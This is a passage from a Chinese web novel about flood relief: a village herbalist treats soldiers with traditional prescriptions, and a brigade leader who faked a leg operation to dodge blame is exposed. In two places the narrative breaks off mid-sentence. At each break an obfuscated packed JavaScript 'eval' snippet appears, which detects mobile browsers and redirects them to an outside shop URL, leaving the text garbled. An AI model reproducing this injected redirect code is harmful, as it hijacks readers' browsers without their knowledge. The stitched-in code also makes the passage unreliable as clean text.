“那行吧,如果有问题可以去那边帐篷找我。如果在那边找不到,就去煮饭或者晾晒衣物的地方去看看。” 小战士正打算答应,这时另一名战士也走了出来,还主动撩起自己右边裤腿,让池晚看他右腿内侧的两处条状伤口。 “我这个方便,你帮我看看好得怎么样?”这个战士有几分社牛属性,比刚才的小战士大方多了,说话时还露出一口白牙,看上去很阳光。 池晚半蹲下去,伸手在伤口处按了几下,确认肿胀已基本消除,这才站起来,点了点头:“还不错,不过你们跟脏水接触太多,为了保证效果,避免感染,每次上岸都要擦干净再抹一层,直到完全愈合。” “这副伤药所用的药材都不算贵,备的药还算充足,放心用。” 直到这两个战士都答应,池晚才返回自己这两天住的帐篷。 暂时不需要她做事,池晚就躺到稻草上合眼眯了一会儿。她睡的时间不长,一个小时左右就醒了。 “池晚,你怎么没去检查?”妞妞妈一直没看到池晚去找大夫做检查,便好意问了下。 “不用,我状态还行。”池晚说。 “你不用管她,她爸是大夫,她自己多少也能懂点,比咱们强多了。”下泉水大队那位老太太也回来了,池映川医术不错,常见病都能治个七七八八,所以老太太觉得,池晚就算随便跟着学学,也能懂点。 “哦,你家里人呢,怎么没见他们上来?”妞妞妈问道。 “爸失踪了,姐姐嫁到外地,还有半个月生,妈这两天过去看她,还没回来。所以,我家灾民就我一个。” 妞妞妈挺意外的:“原来发大水时你家就你一个人啊?这也太……” 她想说这也太可怜了,而且乡下这种环境,都是独门独院的,万一院子里闯进人来,进了姑娘屋子这可怎么办? 一位下泉水大队的老乡竟难得开口替池晚辩解了一下:“她妈走前把她送到她二叔家里,她二叔家有男有女的,不会进人的。” 妞妞妈放心了,她还以为池晚家里把她一个人丢在下泉水不管呢,要是这样就真的挺可怜。 几个受灾乡亲们住的帐篷里住的大都是下泉水大队的百姓,其人数远远超过另外两个大队的人数。 下泉水大队的人从未想过他们会以这样的方式出名,不仅在公社出名,连区里都知道了。 想到另外两个大队绝大多数人都提前转移,下泉水被救上来的那些人怎么会没有半分想法。 这时无论谁看到洪家父子都会心烦意躁,冲动点的都想动手打人了。 这时,有人匆匆跑进了帐篷:“邹书记,冯院长,下泉水大队长来了,我刚看到他,你们也出去看看吧,这人腿瘸了,打着石膏,还缠着纱布,用拐杖硬拐上来的。” 梁含璋刚回来进行短暂休整,有时间也会过来跟邹副书记忆等人沟通一下,交流信息。 听说下泉水那位大队长这时候才过来,梁含璋也留了下来,准备看看,这位姓洪的大队长到底是何许人也。 7. 大灾,大疫 调查小组 三个大队受灾,只有下泉水的大队长始终没赶到救灾现场,这件事在安置点都快传疯了。 经过两天的救援,下泉水灾民的人数在不断上升中。随着时间延长,救回来的人数越来越少。 梁含璋这次和小田在下泉水一带搜寻了两个半小时,才找到一个幸存老乡。他们把这个人带回来的时候,他都快不行了。所以梁含璋上岸之后,先和小田把这位老乡送到救护点。 处理完这件事,再回到邹副书记等人所在的帐篷时,下泉水大队长洪常兴已经从马车上下来,拄着拐杖进入安置点。 他穿着一套蓝色粗布衣服,戴着同色的帽子,穿着打扮与平时常见的老乡差不多。 看到他那一刻,安置点附近有好多人噤了声,全都盯着他。 “快看,那个就是下泉水大队的洪队长,下泉水大队的人太惨了,听说死了两个人,他还敢来?”说话的是另一个大队的老乡。 “这不都来了吗?都别说话,他往这边看呢。”另一个人看到洪常兴往他们这边看,赶紧提醒人住嘴。 周围很快围了不少人,还有些人刚听到消息,也在往这边赶。 池晚也被李翠香拉着出来,挤到了几个人身后,看向人群中心的洪常兴。 这时雨已经完全停了,有点阴天,看人还是很清楚的。 “乡亲们,我就是下泉水大队长洪常兴。我这几天在医院做了个手术,昨天凌晨时分发洪水时,我本人刚在市二院做完手术,麻药还没退去。等我知道大队受灾的时候,已经是今天凌晨了。” “不管怎么样,这件事我没能及时赶到,没有尽到大队长的责任。我在这里表示深深的歉意,乡亲们,我洪常兴对不起你们。” 说到这里,他深深地鞠了一躬,还提起裤腿,让在场的人看清楚他腿上打的石膏。 在他对面,有不少老乡都是下泉水大队的人。这些人在看到洪常兴那一刻,都在等着他的说法。 别的大队长都会守在村里,早早就敲锣提醒村民撤退,洪常兴却连个人影都看不到? 另外两个大队绝大多数人都安然无恙,不仅如此,那些老乡还能及时把家里值钱的东西都带上山,这个结果与下泉水的对比实在是太惨烈了,惨烈到没有任何一个下泉水的人能平静接受这个结果。 更过分的是,洪常兴甚至连及时出现在救灾现场都没做到。 他们等这个说法已等了一天半,万万没想到,再次出现在他们面前的洪常兴居然打着石膏,还声称自己刚做了手术…… 洪常兴这个说法,有些人是无法接受的。这个解释,完全没办法抹去他们这两天心里所受的煎熬和创伤。 本以为,洪常兴至少要给个过得去的说法,或者道歉。他现在倒是在道歉,可这个道歉听在众人耳中,却好像拳头打在棉花上,让人憋屈的要死。 池晚注意到,有人在小声议论:“早不手术晚不手术,怎么偏在这时候手术,别是装的吧?” 池晚看向洪常兴的脸,这一看,就看出了端倪。 按洪常兴的说法,他是在洪水席卷下泉水大队时做的手术。如果这个手术他真做了,他现在的气色就不该是这样的。 现在才是他术后第二天,在这么短的时间里,他就能拄着拐出现在安置点。这也太神了,没点特异功能,还真挺困难的。 至少池晚自己做不到,她不会在腿骨手术第二天就拄拐去野外,哪怕是坐马车也不行。 从省城二院往这边的路,大部分都是土路,土路再平也比不得柏油路,坐在马车上是很颠的。他一个刚做完手术的人,怎么可能承受得住这种颠簸? 作为专业人士,即使没给洪常兴诊脉,池晚也能猜到,这个人为了推卸责任,故意装成一个瘸子。 为了避免露馅,他还打了个石膏。他这么办,就算有人怀疑,总不能把他腿上的石膏给卸掉吧? 还挺会打算盘的,池晚想。 有些人想法跟池晚差不多,这手苦肉计,要是有效,还真能把洪常兴给救了。 洪春波本来还替他爸捏了把汗,待他看清洪常兴腿上的石膏时,终于放心了。 他爸跟他想的一样,就是有主意。事实上他爸什么事都没有,昨天下午他爸还和公社医院副院长一起吃饭来着,自然不存在做骨折手术的事。 就算现场有些人怀疑,那他们也不怕,因为二院有他们家亲戚,这件事一般人可不知道。 这时邹副书记等人也从帐篷里走了出来,看清洪常兴腿上的石膏,邹副书记暗地里冷笑,心想这个洪常兴果然有自己的对策。 他不懂医,但他见过做手术的人,谁家做了骨折手术的人第二天就能到处乱跑了? 这是觉得他们这些人都没脑子吗? 梁含璋当然也看得出来,他在部队待了快十年了,这么长的时间里,骨折的人他见过太多了,他自己也骨折过。 他身体素质一向极好,就算是这样,他也不可能在术后第二天就拄拐去很远的地方。 洪常兴离开下泉水大队的时间应该就在近两天,所以他没办法把手术时间线再往前推。否则乡亲们一做证,就能证明他在说谎了。 而这个时间,也就成了一个很大的疑点。 估计洪常兴本人也没想到,这次洪灾会给下泉水造成这么大的损失。 偏偏另外两个大队队长又很给力,这一衬托,就将他们下泉水大队给衬托到了众人瞩目的地步。他现在估计也是骑虎难下,不得不硬着头皮出面。 再不出现,就真的没办法交代了。 在众人注视下,邹副书记等人把洪常兴带到帐篷里。洪常兴自称做了骨折手术,腿上还打了石膏,那他们自然不好再像之前考虑好的一样,直接责问他到底去了哪里,为什么没有及时赶到救灾现场? 这些话邹副书记一句都没问,不仅没问,他还关心地询问起洪常兴做手术的一些情况,还问他伤到了哪里,到底是怎么伤的。 这次的事闹得很大,肯定要有人担责的。 作为下泉水大队长,洪常兴本来就应该为下泉水的大型灾害负责,难不成还能让别人替他把这口锅背上不成? 所以,梁含璋和冯院长都知道邹副书记是在旁敲侧击地了解情况。他们得搞清楚,这个洪常兴到底是不是在装? 他们不能明着问,暂时得先套话。 洪常兴自然也知道邹副书记的打算,这个责任他当然不想背,所以他一直顾左右而言他,一问到具体的时间、地点、病房号和床位,他就打马虎眼,哼哼着说腿疼。 邹副书记跟他绕了二十分钟的弯子,耐心都快耗尽了,也没问出多少有价值的消息。 他心里不由发了狠,洪常兴越是想糊弄他们,想把锅推给别人,他就越不放弃这件事。 想了想,他跟洪常兴说:“洪队长,你刚做完手术就过来,这实在太危险了,万一有什么后遗症就不好了。” “正好咱这儿有来支援的大夫,公社医院和区医院都有人,要不我让人带你去找大夫,由这些大夫给你做个会诊吧,这样放心点。” “不用不用,我有二院开的证明,术后没什么并发症,挺好的,不用看。”洪常兴下意识要拒绝。 “不去那怎么行?身体重要,反正那些大夫都在安置点,都是现成的,走几步路就能到。”邹副书记不由分说,去外边喊过来两个年轻人,让他们带着洪常兴去看大夫。 说是扶着,其实跟挟持差不多。 梁含璋是部队上的人,他没跟过去,先回了自己平时休息的帐篷。 回去时,他发现有几个战士凑在一起正在涂药。看到他进来,小田停下手上的动作,问他:“团长,下泉水那个大队长怎么回事,真瘸了啊?” “还不知道,腿上有石膏,里面什么情形暂时看不到。”梁含璋不打算跟手下这些人多说。 至于洪常兴的伤是不是真的,只要邹副书记或者上头真心想查,查起来并不是难事。 “伤都好差不多了?”梁含璋坐下后,看了眼小田和几个战士的伤口。 “好了,现在就是有点痒痒。团长,你也抹点吧。”小田说罢,把没用完的药膏递给梁含璋。 梁含璋平时不会这么小心,一般小伤他都不处理,基本都靠自愈。这次他却接过药膏,一边在腿上涂抹,一边体会着药膏抹上去时皮肤的感受。 他这么做,是想确切地掌握第一手使用资料。如果确实比市面上常见的药膏要强,他稍后就可以请池晚给他做一批了。 这些药是要以团部的名义采购的,需要打报告,所以他要把细节弄得清楚些。 三连连长离梁含璋近,看着几个战士准备躺下休息,他小声问梁含璋:“团长,另外两个大队咱们已经不用再派人去了。下泉水那边,到底还有多少人困在水里也没个数,咱们大概还要在这边搜多久?” “先搜着吧,政委那边咱们不用赶过去了,他们的任务明天就能结束。”梁含璋说。 他面色平静,心里却知道,洪常兴的不作为不仅给下泉水大队的乡亲们造成了灾难性的后果,也给他们部队制造了很大的麻烦。 那个村里就没个能主事的,治保主任也不够机灵,至今没办法给个相对准确的统计数字。谁也不知道,大概有多少人安全逃到了山上,还有多少人泡在水里。什么时候能结束这个任务,他也不清楚。 随着救援时间延长,他感觉再救下去,活人会越来越少,如果真能找到人,找到的也可能是死人。 休息了一会儿,他和小田常用的那条船还没返回来,梁含璋信步走出帐篷,看到有十几个人在领汤药。 那些人手上都拿着号码牌,每个人的号码牌并不一样,要用的药也有差别。 由于物资不足,安置点的人在晚上睡觉时都没被子盖,虽然说夏夜晚上不冷,但这些人都泡过水,身体大都在虚弱状态下,短短两天时间里,着凉吹风发烧的人多达十几个人,还有少数几个人产生了腹泻的症状。 算了算时间,梁含璋估计着,救援物资下午差不多就能到一批。 走到半路时,他碰到了邹副书记。看到他过来,邹副书记及时叫住他,“梁团长,你在市二院有没有熟人?” 二院?梁含璋想了想,还真有一个老战友转业去了二院,现在就在二院行政科上班。 “算是有吧,为什么要问这个?”梁含璋好奇地问道。 洪常兴自称是在二院做的手术,现在邹副书记又问到了二院,那这件事应该跟洪常兴有关系吧? “刚才有三个大夫一起给洪常兴做了诊断,当时这些人都没说实话,等洪常兴走了,他们才说,从洪常兴的脉象来看,看不出有骨折的表现。” 梁含璋早就料到会是如此,估计洪常兴也没想到,邹副书记会想方设想揪着他去接受中医检查吧? 厉害的中医不用仪器,仅靠两只眼睛和几根手指,就能了解人体的很多情况。 那几个中医全都是一样的说法,那就证明,洪常兴的理由就是他临时编造出来的,就是为了避免被上级问责。 为了圆这个谎言,他还特意找人给自己打上了石膏。 可是人一旦说谎了,可就能要用无数的谎言去圆谎。 做手术、住院、打石膏,这一连串过程要完成,不知道要接触多少人,要经过多少人的手,想要把这些谎言圆住,那得需要多大的能量才能做到? 所以,这件事只要邹副书记等人有心要查,结果就只是个时间的问题。 “认识一个,如果你们需要,我可以把联系方式给你们。”梁含璋答应了。 “那就好,我这边也找了一个人,我已经把这件事向上级做了汇报,区里已经给出批示,他们会在近期派出一个调查小组,专门调查这次洪灾的情况。” 地方上的事梁含璋不便干涉,所以他没有多说,只说:“行,如果有需要我们配合的,可以找我谈。” 看了眼远处混浊的河水,梁含璋又道:“有没有人偷着喝生水?个人卫生方面一定要注意一下,如果发现有人患了传染病,一定要尽早处理。” 这里环境差,每个帐篷里又聚集了二十来人,传染病要是流行起来,在很短的时间里就会传开。这也正是梁含璋最为担心的一点。 现在大家身体状况都不太好,灾民们就不说了,就是他手底下那些战士也在极度疲劳下干活。要不是仗着年轻体力好,容易恢复,早不知道趴下多少人了。 “行,这件事我稍后再跟区医院黄主任说一下。”邹副书记答应了,随后他从梁含璋这里拿到了他想要的联系方式, 池晚经过那些战士住的帐篷时,门帘被人掀了起来,搭在旁边的木头上。 池晚并没有往里看,但一个战士却主动叫住了她。 “有事啊?”池晚端着一个簸箕,里面装着一些黄豆。 池晚刚挑干净,准备送到李翠香那里,再由她找人做一批豆腐出来,给大家改善一下伙食,免得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829786|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天天吃咸菜。 “听说你爸爸是村里的赤脚大夫,你会不会看病?”那位战士问道。 “还行,看是能看,不过咱这儿不是有不少大夫吗?”池晚指向不远的两个帐篷。那两个帐篷一个是公社医院专用,另一个是区医院专用。 两个医院总共派出来七八个大夫,其他人是护士或者药师,说多不多,但也不算少。 至于这些人水平如何,池晚感觉还好。她住的帐篷里有两个人拿了药,一个是感冒初起,身上肌肉酸痛,无汗不渴,晚上发了烧,大夫给开了麻黄汤加术汤,治疗表寒夹湿证,还是对证的。 另一个人不断打喷嚏,流清鼻涕,也没有汗,给她开药方的是另一位大夫,是在小青龙汤的基础上配的药,方子也算精当。 那位战士却说:“有是有,看病的群众多,涛子不想去。他说他就是吃不下饭,不是什么大事,让他去他也不去。” 池晚没再拒绝,说:“也行,我去把黄豆给翠香姐送过去,一会儿就过来。” 五分钟后,池晚回到这边,跟着那位小战士钻进了帐篷。 她不是第一次进来了,整个帐篷里,近半数的人都用过她开出的伤药药膏,无论是谁,都认识她。 “你坐这儿吧。”小田也在,他手脚麻利地给池晚拖了个凳子,请她坐下。 池晚看了眼那位叫涛子的战士,他年纪大约二十四五,在这里属于年纪偏大的。 涛子其实真没想惊动大夫,他觉得他就是吃不下饭而已,应该不是什么病,可能就是累的。 但他管不住别人,池晚刚进来,有两个战友已经把他手腕拽出来,放到池晚面前的小矮桌上,请池晚帮他把把脉。 梁含璋进来时,池晚三根手指还放在涛子手腕上,她神情平静,梁含璋下意识放轻脚步,免得惊扰到了她。 他刚坐下,池晚就把手从涛子腕上拿开。 “怎么样,涛子没事儿吧?”邀请池晚进来给涛子诊脉的战士问道。 池晚看了眼涛子,并没有直接回答,反而问道:“你以前是不是在很冷的地方待过一段时间?” 涛子怔了下,似乎没想到池晚会问到这种问题。 “对对,涛子以前在边境高原当兵,在那儿待了两年。那地方很冷的,有时候能达到零下三十多度。”小田对涛子过往很熟,见涛子没说话,便替他答了出来。 池晚听罢,点了点头,说:“怪不得,我感觉你体内有伏寒。这股伏寒如果不去掉,以后就不只是胃不舒服了,等年纪上来了,腰腿也有可能会出问题。” 涛子:…… 小田等人也吓了一跳,居然这么严重的吗? 池晚其实一点都没夸张,她以前给类似的病人治过病。也是年轻时埋下的病根,上了年纪开始犯病,严重时腿都快不能走路了。当然那是极端情况,属于个别现象。 涛子以后可能也会发病,但未必会有那么严重。 “那,那怎么办,能治吗?”涛子总算重视起来了,他并不只是吃不下饭,其实他还胃疼,只是他不愿意跟人说这些事而已。 所以其他人只知道他吃不下饭,没人知道他还有胃疼。 “可以吃几副药试试。”池晚话音刚落,有位战士已经拿来纸笔。 池晚道了声谢,随后在纸上写了个药方。 她在五积散的基础上做了些调整,针对涛子这种情况效果应该不错,可以把埋在涛子体内的伏寒拔掉。而他的胃疼吃不下饭也跟伏寒有关,伏寒没了,胃部不适自然会得到解决。 这个药方池晚以前常用,适用范围挺广的。像现代人常常饮食和营养过剩,用五积散为主的药方,就可以消除积滞。 当然,去伏寒或者食滞都只是其中一种用法而已。像这种由多个小方子组合在一起的药方,如果熟知其原理,可以把药方用得很宽。 “我还有活,先走了啊。”这个帐篷里都是战士,池晚现在还不是大夫的身份,安置点又人多口杂,她不便多待。 所以她给涛子开完药就站了起来,准备离开。 梁含璋没吱声,瞧着她在几位战士陪同下走出帐篷,便从涛子手中要过药方,瞧了一眼。 他不清楚药方开得准不准,但他打算先观察下,如果效果如他们所用的伤药一样好的话,那再让池晚像其他人一样干些杂活,就有点屈才了。 看了看表,再过一会儿,他用的船应该会返回来,他便拿着那药方站起来,跟涛子说:“我去找人给你抓药,你等着吧。” 小田疑惑地道:“团长,这点小事用不着你吧?要不还是我去吧。” “不用。”梁含璋说完,拿着药方就走了。 众人也没有多想,因为梁含璋平时待下属一向宽厚。 当然,训练场上除外! 几分钟后,梁含璋进了区医院驻扎的帐篷。 “黄主任,这个方子你看看,能用的话,让人按方抓几副。” 黄主任刚去上泉水大队部给院领导去过电话,汇报了一下安置点的情况。 院领导告诉他一个消息,最近两天,区里和市里会派去一个调查小组。 这个小组会身兼两职,一方面要调查洪灾发生时领导们是否失职。另一方面他们会携带物资前来,代表上级对受灾群众进行慰问。 院领导通知他,这几天一定不要出问题,做好对受灾群众和官兵的治疗和防疫工作,免得被上级问责。 拿到药方时,他瞧了一眼,认出这个药方是《太平惠民和剂局方》里的一个药方,是在二陈汤的基础上发展起来的。 看了下配伍和剂量,这个方子本身没什么问题。 但他们这两天接触到的群众大都用不上这种药方,现在的人勉强能吃饱饭,基本不存在食滞这种问题,其他问题倒是有,但现在大部分人得的主要是与感冒相关的疾病。 “这是给谁用的?”方子是梁含璋拿过来的,肯定不是随便写的,所以黄主任挺想知道,这是给什么人开的药方。 他重新看了眼药方,感到纸上的字迹有点熟,好像在哪儿看过。 “给我们团一个战士用的,他最近吃不下饭。” “哦,是受寒了吧?要是这样的话,这个方子我看可以用着试试。”黄主任点了点头,表示可以照方抓药。 “对了,这是谁开的药方啊?”药方上的字肯定不是区医院那几位大夫写的,他们的字,黄主任都有印象。 至于公社医院的人,他不怎么熟。 8. 大灾,大疫 遗漏的香包 得到了黄主任的肯定,梁含璋便拜托一位药剂师帮忙把药煎出来。 半个多小时后,涛子和一位战友从药剂师手里拿到了刚熬好的汤药。 “喝吧,你这几天都没怎么吃饭,再这样下去,身体该熬坏了。”战友闻了闻碗里的药味,等那药不烫了,便催促涛子赶紧喝下去。 涛子打了个嗝,端起碗一饮而尽。因为他身体状况不太好,梁含璋怕他出任务时会出意外,就安排他先休息几个小时,所以他喝完药后,返回了帐篷。 此时已是下午,待在帐篷里的人已经换了一批,梁含璋也不在,和小田又出去了。 “现在饭点过了,我这儿有两个老乡给的烤土豆,你要是饿了就吃点。”一个战士刚出完任务,他知道涛子中午没吃几口饭,就从兜里掏出两个土豆。 那两个土豆的皮都被烤焦了,还泛着热气。 这时涛子吃完药已经快半个小时,喝药后十分钟左右,他就感觉自己的胃里出现暖流,没过多久,他腹部和腰部都开始发热,连日涉水引起的不适感都减轻了。 他本来还有一点呃逆,除了胃疼吃不下饭,还时不时打几个嗝,虽不是什么严重的大病,却让人很不舒服。 随着胃里变暖,他感到自己呼吸都顺畅了不少,呃逆感随之消失,胃不但没有之前的疼痛感,还变得舒服起来。 这一舒服,一股饥饿感就向他袭来,这时,他感觉自己能吃掉一头牛。 不过眼前只有两个土豆,也算聊胜于无了。 他接过土豆,没跟战友客气,除了被烧黑的地方,其他部位他连皮都没舍得剥,把草灰拍掉,就开始大快朵颐。 那位社牛战士姓兰,他曾主动跟池晚打过招呼,还拽起裤腿让池晚看他腿上的伤口。 他最先发现涛子的变化,本来他在躺着准备睡一会儿,眼角余光瞧见涛子吃东西,他突然坐起来,问涛子:“你胃不疼了?” 涛子摸了摸肚子,感觉了一下,随后点头:“嗯,不疼了,肚子里边暖暖的挺舒服,不疼了就开始饿。” 几个没睡着的战士都知道涛子的药是从哪儿来的,开药方的人与开出伤药方的是同一个人,都是那位下泉水大队的池晚。 “居然这么快,不是刚吃完药吗?也就半个多小时……”有位战士感觉有点不可思议,中医治病也能这么快的吗? 几个人正小声议论着,这时黄主任竟主动来了。与他同来的还有池晚和冯院长。 池晚给一名战士开了祛除伏寒药方的事他们已经知道了,这次池晚是被他们俩临时抓过来的,说是要一起看看患者服药后的反应。 他们进来时,涛子手上的土豆就只剩最后一点皮没有吃掉了。看到他手上的吃食,黄主任下意识又看了下表,随后道:“服药有四十分钟左右吧,看你这样子,是不是有好转了?” “嗯,好多了,一点都不疼了。”涛子如实说道,他自认自己没有说半句谎言,所以他说这话时很坦然。 黄主任二话不说,马上让他坐下,随后将几根手指搭在涛子腕上,细细体会着涛子的脉象。 “脉不紧了,体内伏寒暂时得到缓解,效果相当明显啊。”这个结果让黄主任颇为意外。 所以他说话时,往池晚这边瞧了好几眼。 池晚曾写了个伤药药方,他之前以为那个方子是池晚父亲池映川留下来的,池晚只是记住了。 可眼前这个药方,是池晚按照涛子的身体专门开的。针对涛子体内伏寒较重,其他方面问题不大的情况,池晚并没有照搬原方,而是把配方中部分药材的份量做了调整,以便更适用涛子的情况。 能开出这种方子,就可以在一定程度上证明,池晚应该具备一些给人看病的能力了。 黄主任转头跟池晚说:“你这个方子我也看了,配伍和剂量都不错。看来我之前还是小看你了。” 池晚摆了摆手,说:“其实还好,就是根据涛子的情况,把原方一些药材剂量做了些微调,以便适应他现在的身体。” “他年轻,平时身体素质很好。虽然因为连日劳累的原因,正气稍有不足,但他体内除了寒邪,没有其他实邪,治起来还是要容易些。只要辩证准确,覆杯而愈并不是什么不可能的事。” “要是换一个上了年纪的人,正虚邪实,各脏器都变得衰弱,治起来就没这么容易了。” “哈哈,你就谦虚吧。”冯院长指着她笑,随即在自己腰上扶了下。 “冯院长,你上午都干嘛去了,累成这样?”池晚能看出来,冯院长腰疼。 “没什么,就是带俩人把那些药材从里到外又查了一遍,确保万无一失。” 这件事几位负责救灾的领导都知道,但并没有向受灾群众提及,以免引起不必要的担忧。 为了万无一失,冯院长带头重新查了遍药材。 黄主任在旁边待着,有了自己的想法。 现在安置点上医务人员数量说够也够,但水平较高的有限。以池晚刚刚表现出的实力,再让她像那些老乡们一样帮忙做些杂活,实在是浪费她的才能了。 想到这儿,他问池晚:“你刚才都在忙什么?” 池晚手上拿着一个细草绳,那根草绳已编了近一米长,还有一段没编上。 听黄主任问,池晚晃了晃手上的绳子,说:“编绳子呢,等到晚上可以把这个绳子挂在帐篷门口点燃,用来防蚊虫。” 冯院长与黄主任对视一眼,这件事他们其实也在考虑。 现在还是暑天,又发了洪水,周围的洪水里漂浮着各种生活垃圾以及禽畜的尸体。经过两天的发酵,已经有不少苍蝇出现在河岸附近。等到了晚上,蚊子也绝对不会少。 如果只是被蚊虫叮咬,忍一忍总会过去的。怕就是怕现场的蚊虫咬人后,会在人群中引发疾病。 而这,正是他们要重点防范的问题。 黄主任拿过绳子嗅了嗅,再看池晚时,越发觉得这孩子让人看着顺眼。 “你这个想法我看行,不过你这个绳子编的不熟练,以前应该没干过这活吧?” “要不让人找几个手巧的帮你编,这样能快点。” 池晚对此求之不得,她知道,黄主任说得已经算委婉了。 事实上她编的绳子歪七扭八的,一点都不光滑。这些倒不是重点,反正编好了也要烧,好不好看都不影响使用,重要的是她编得太慢了。 所以,对于黄主任的提议,池晚马上同意了:“可以啊,让他们编吧。我再找些碎布头做些香包,也是驱蚊的,谁要是愿意戴身上,就自己过来领。” 其实他们在晚上睡觉时,也会在帐篷附近点燃蚊香,但这一带潮湿闷热,三个面又被污水围住,晚上蚊子比正常居室只多不少。 所以那些蚊香只能管用一部分,还是会有不少蚊子进入帐篷,叮咬灾民和官兵们的身体。 “你还要做香包……”黄主任再次被她刷新了见识。 “做香包,你会做吗?布头和针线这些东西,如果没有我可以找人帮忙凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16829787|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 池晚笑着伸出手,说:“会是会,但速度不快。如果能找几个帮忙的人,就能在短时间内把咱们要用的都做出来。” 黄主任做了决定:“池晚,你别忙着做饭打下手这些事了,你先带人做香包、编绳。” “等这两样忙差不多了,你再去医疗区多转转,看看有什么事能帮忙的。” 池晚自然没什么意见,反正都是帮忙,能在自己的专业范围内帮忙,这样更好。 说完这件事,黄主任和冯院长先走了。 池晚又给涛子诊了诊脉,还叮嘱他:“现在有明显好转,但体内伏寒还没有完全消失,要继续吃药,大概要十天半个月吧。” 涛子原以为要继续吃药很久,没想到池晚说的只是十天半个月,那坚持起来并不难。 黄主任和冯院长动作很快,大约二十分钟后,几位妇女就在下泉水妇女主任的带领下让池晚给他们分配任务。 这些妇女都是干惯活的,手脚很麻利,忙到下午三点半,就把池晚要的一堆香包和草绳都做好了。 池晚客气地向这些人道谢,在这些人临走之前还把几个用粗布做的香包递过去,说:“香包和草绳都是防蚊蝇的,点燃草绳时一定要注意安全。” 这几个妇女晚上在帐篷里睡觉时,几乎都被咬过。 被咬后挠痒难受,能折腾得人一晚上都睡不着。所以对于池晚送的礼物,这些老乡都挺喜欢的。 走出帐篷时,池晚听到了一阵嘈杂的声音。有几辆拉物资的卡车前后脚赶到了安置点。车上全都是各种救灾物资。 按照黄主任的提议,发完香包,池晚便去了区医院的医疗点。 先前冲她喝斥的小护士也在,看到池晚在黄主任陪伴下走进来。小护士往后退了两步,好像她与池晚不认识。 可池晚太认识这个人了,看她现在的态度,应该是被领导提点过,不敢再像先前那么凶了。 傍晚近六点,妞妞在她妈陪伴下走进了医疗点。 “妞妞不舒服了?”池晚暂时没有参与诊断开方,转身打量起妞妞。 “是,晚上发烧了,早上起来吃了药,但是感觉效果不明显,还是有点烧。”她妈妈说。 池晚瞧了眼妞妞,她露在外面的皮肤上有七八个被蚊子叮咬的小红包。 此时这孩子看着还算活泼清醒,但高热继续不退的话,池晚担心这个人会烧得抽搐吐白沫,有患乙脑的可能。 要是真得了乙脑的话,凭这些大夫的常规治疗手段,怕是达不到理想效果。 “这孩子看着精神状态还不错,能正常玩耍,过两天应该会好,我先给他开点药。”说话的是公社医院的一位大夫。 池晚邹了皱眉,她担心这事儿没那么简单。 看着那位大夫给妞妞诊脉开方,池晚走出了帐篷,打算跟区医院的黄主任单独谈谈。 既然黄主任请她来帮忙,基本的认可应该是有的吧?她不爱管闲事,但涉及到妞妞的安全,她不能明知有危险却什么都不说。 这个时间,梁含璋刚从河边回到帐篷里。他一进门,就看到几个战士手上拿着用各色布料缝制的小包。最多半个巴掌那么大。 看他进来,社牛战士马上拿着自己那件蓝色小包向梁含璋炫耀:“团长,这个香包是下泉水的池晚带人做的,可以驱蚊,咱们都有。” 梁含璋往周围打量了一下,还真是人手一份。 那他的呢? 这帮人自己领了,该不会是把他那一份给忘了吧? 9. 大灾,大疫 不敢放权 “这还有,团长你挑一个,是按人数来的,每个人都有。”社牛战士转回身,不知从哪儿又掏出一捧香包,让梁含璋挑一个。 还有七八个香包没发下去,梁含璋大概瞧了瞧,发现其中有个香包是用湖绿色的布料做的,是他喜欢的颜色,但针脚也最为粗糙。 他伸手把那香包拿过去,又问起了涛子的情况,听说涛子服药后半小时就能好好吃饭了,即使梁含璋有心理准备,也被这个效率惊到了。 坐在自己的铺位上,梁含璋脱下上身穿的半袖草绿色圆领汗衫。汗衫侧面被树枝刮破了,裂开一条缝。 他从很小就会给自己补衣服,眼下这点裂口,他仅花了两分钟就补完了。 那香包还在手边放着,看了眼香包上的针脚,梁含璋顺手把香包拿起来,在香包边缘挨着原有的缝线又缝了一圈。 两个手下在旁边瞧见他在做针线活,他们一时半会也睡不着,就在旁边你推我一下我扯你一把,片刻后就开始练起了擒拿手。 梁含璋只当没看见,他把线咬断,打算抓紧时间睡一觉。 涛子胃舒服了,人也精神不少,看到梁含璋把香包又重缝一遍,便过来提醒他:“团长,你这个香包是池晚缝的。” 梁含璋本来都要躺下了,听到这儿停下来,反问道:“你怎么知道?” “这事我也是听人说的,有人说她不大会做针线活。” “你在外边又缝了一圈,要是让她看着了,她不会误会你嫌弃她针法吧?”涛子后边这句话纯粹就是想搞事情。他病好了,就有了逗闷子的心思。 几个战士跑过来,欣赏着梁含璋细密的针脚后,又往池晚缝的那一圈线上看了看,不知是谁“扑哧”笑出声。 梁含璋觉得自己很冤枉,谁也没告诉过他,这个香包是池晚做的。 他把香包拿起来,仔细端详着池晚缝的线,也没忍住,嘴角不禁往上翘。 涛子真没说错,池晚缝得歪歪扭扭的,针距大小不一,确实不像是个会做针线活的。 他缝都缝了,也不能真拆了,便没再搭理涛子他们。 涛子正色道:“团长,都来两天半了,咱们这两天在下泉水一带搜了不知道多少回,水里就算还有人,可能也没命了。” “但下泉水大队总人数跟咱们救回来的人相比,差了一百来人,那么多人,是不是躲山上去了?” 梁含璋点头:“今天刚碰着一位下泉水的老乡,他说确实有不少人逃到山上去了。” 